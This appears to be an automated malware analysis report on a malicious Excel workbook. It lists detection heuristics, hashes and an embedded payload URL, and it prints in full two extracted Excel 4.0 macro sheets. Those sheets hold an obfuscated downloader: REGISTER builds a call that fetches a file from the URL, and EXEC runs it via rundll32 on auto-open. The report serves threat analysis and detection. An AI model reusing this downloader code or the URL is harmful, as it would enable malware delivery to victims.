Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 86396cd4e2c0c514…

MALICIOUS

Office (OOXML)

180.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-04-10
MD5: e0b521ec5ee1879cdbba7b13e14ed0e9 SHA-1: f051297a6822c41108368d79d20105454335b888 SHA-256: 86396cd4e2c0c5147f577dd3f5a9de6f7f42fcc6d39082ca1f120e1b08acf565
250 Risk Score

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable0921-9893703-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable0921-9893703-0
  • Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: GOTO, RETURN critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://shatteredglass.io/uo/date.php In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5321 bytes
SHA-256: 3bfcbd28981fac74df37846b710195a3909922e0af9293fc6bf9f751ace505a8
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A60:CP420"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="9.109375" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="5" width="9.109375" style="3"/><col min="6" max="85" width="9.109375" style="2"/><col min="86" max="86" width="9.109375" style="2" customWidth="1"/><col min="87" max="89" width="9.109375" style="2" hidden="1" customWidth="1"/><col min="90" max="90" width="15.6640625" style="2" hidden="1" customWidth="1"/><col min="91" max="93" width="9.109375" style="2" hidden="1" customWidth="1"/><col min="94" max="16384" width="9.109375" style="2"/></cols><sheetData><row r="60" spans="1:5" x14ac:dyDescent="0.3"><c r="A60" s="2"/><c r="B60" s="2"/><c r="C60" s="2"/><c r="D60" s="2"/><c r="E60" s="2"/></row><row r="61" spans="1:5" x14ac:dyDescent="0.3"><c r="A61" s="2"/><c r="B61" s="2"/><c r="C61" s="2"/><c r="D61" s="2"/><c r="E61" s="2"/></row><row r="62" spans="1:5" x14ac:dyDescent="0.3"><c r="A62" s="2"/><c r="B62" s="2"/><c r="C62" s="2"/><c r="D62" s="2"/><c r="E62" s="2"/></row><row r="63" spans="1:5" x14ac:dyDescent="0.3"><c r="A63" s="2"/><c r="B63" s="2"/><c r="C63" s="2"/><c r="D63" s="2"/><c r="E63" s="2"/></row><row r="64" spans="1:5" x14ac:dyDescent="0.3"><c r="A64" s="2"/><c r="B64" s="2"/><c r="C64" s="2"/><c r="D64" s="2"/><c r="E64" s="2"/></row><row r="65" spans="1:5" x14ac:dyDescent="0.3"><c r="A65" s="2"/><c r="B65" s="2"/><c r="C65" s="2"/><c r="D65" s="2"/><c r="E65" s="2"/></row><row r="66" spans="1:5" x14ac:dyDescent="0.3"><c r="A66" s="2"/><c r="B66" s="2"/><c r="C66" s="2"/><c r="D66" s="2"/><c r="E66" s="2"/></row><row r="67" spans="1:5" x14ac:dyDescent="0.3"><c r="A67" s="2"/><c r="B67" s="2"/><c r="C67" s="2"/><c r="D67" s="2"/><c r="E67" s="2"/></row><row r="68" spans="1:5" x14ac:dyDescent="0.3"><c r="A68" s="2"/><c r="B68" s="2"/><c r="C68" s="2"/><c r="D68" s="2"/><c r="E68" s="2"/></row><row r="69" spans="1:5" x14ac:dyDescent="0.3"><c r="A69" s="2"/><c r="B69" s="2"/><c r="C69" s="2"/><c r="D69" s="2"/><c r="E69" s="2"/></row><row r="70" spans="1:5" x14ac:dyDescent="0.3"><c r="A70" s="2"/><c r="B70" s="2"/><c r="C70" s="2"/><c r="D70" s="2"/><c r="E70" s="2"/></row><row r="71" spans="1:5" x14ac:dyDescent="0.3"><c r="A71" s="2"/><c r="B71" s="2"/><c r="C71" s="2"/><c r="D71" s="2"/><c r="E71" s="2"/></row><row r="72" spans="1:5" x14ac:dyDescent="0.3"><c r="A72" s="2"/><c r="B72" s="2"/><c r="C72" s="2"/><c r="D72" s="2"/><c r="E72" s="2"/></row><row r="73" spans="1:5" x14ac:dyDescent="0.3"><c r="A73" s="2"/><c r="B73" s="2"/><c r="C73" s="2"/><c r="D73" s="2"/><c r="E73" s="2"/></row><row r="74" spans="1:5" x14ac:dyDescent="0.3"><c r="A74" s="2"/><c r="B74" s="2"/><c r="C74" s="2"/><c r="D74" s="2"/><c r="E74" s="2"/></row><row r="75" spans="1:5" x14ac:dyDescent="0.3"><c r="A75" s="2"/><c r="B75" s="2"/><c r="C75" s="2"/><c r="D75" s="2"/><c r="E75" s="2"/></row><row r="408" spans="90:93" x14ac:dyDescent="0.3"><c r="CN408" s="2" t="s"><v>9</v></c><c r="CO408" s="2" t="s"><v>0</v></c></row><row r="409" spans="90:93" x14ac:dyDescent="0.3"><c r="CL409" s="2" t="str"><f>""&amp;""&amp;""&amp;""&amp;""&amp;REGISTER("U"&amp;CM409&amp;CM410&amp;CM411&amp;CM412&amp;CM413,"U"&amp;CN408&amp;CN409,CO408&amp;CO409&amp;CO410&amp;CO411&amp;CO412&amp;CO413,"Gtodes",,1,9)</f><v>ЛОЖЬ</v></c><c r="CM409" s="2" t="s"><v>1</v></c><c r="CN409" s="2" t="s"><v>10</v></c><c r="CO409" s="2" t="s"><v>0</v></c></row><row r="410" spans="90:93" x14ac:dyDescent="0.3"><c r="CL410" s="2" t="e"><f>Gtodes(0,CL420,"..\Holed.fisk",0,0)</f><v>#NAME?</v></c><c r="CM410" s="2" t="s"><v>2</v></c><c r="CO410" s="2" t="s"><v>3</v></c></row><row r="411" spans="90:93" x14ac:dyDescent="0.3"><c r="CM411" s="2" t="s"><v>4</v></c><c r="CO411" s="2" t="s"><v>3</v></c></row><row r="412" spans="90:93" x14ac:dyDescent="0.3"><c r="CM412" s="2" t="s"><v>5</v></c><c r="CO412" s="2" t="s"><v>6</v></c></row><row r="413" spans="90:93" x14ac:dyDescent="0.3"><c r="CM413" s="2" t="s"><v>7</v></c><c r="CO413" s="2" t="s"><v>6</v></c></row><row r="419" spans="90:90" x14ac:dyDescent="0.3"><c r="CL419" s="2" t="e"><f>GOTO('Doc2'!E9)</f><v>#N/A</v></c></row><row r="420" spans="90:90" x14ac:dyDescent="0.3"><c r="CL420" s="2" t="s"><v>11</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>
xlm_sheet_01.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1901 bytes
SHA-256: 69d68b22e1d3b8c69ef8dfa8f0609edd7a2ebbf69b770f5ba4ad2d756262ebf7
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="E12:G17"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.21875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.21875" style="2"/></cols><sheetData><row r="12" spans="5:7" x14ac:dyDescent="0.3"><c r="G12" s="2" t="s"><v>8</v></c></row><row r="13" spans="5:7" x14ac:dyDescent="0.3"><c r="G13" s="2" t="s"><v>8</v></c></row><row r="14" spans="5:7" x14ac:dyDescent="0.3"><c r="G14" s="2"><v>3</v></c></row><row r="15" spans="5:7" x14ac:dyDescent="0.3"><c r="E15" s="2" t="str"><f>""&amp;""&amp;""&amp;""&amp;""&amp;EXEC("rund"&amp;G12&amp;G13&amp;G14&amp;G15&amp;" "&amp;"..\Holed.fisk"&amp;",StartW")</f><v>ЛОЖЬ</v></c><c r="G15" s="2"><v>2</v></c></row><row r="17" spans="5:5" x14ac:dyDescent="0.3"><c r="E17" s="2" t="b"><f>RETURN()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.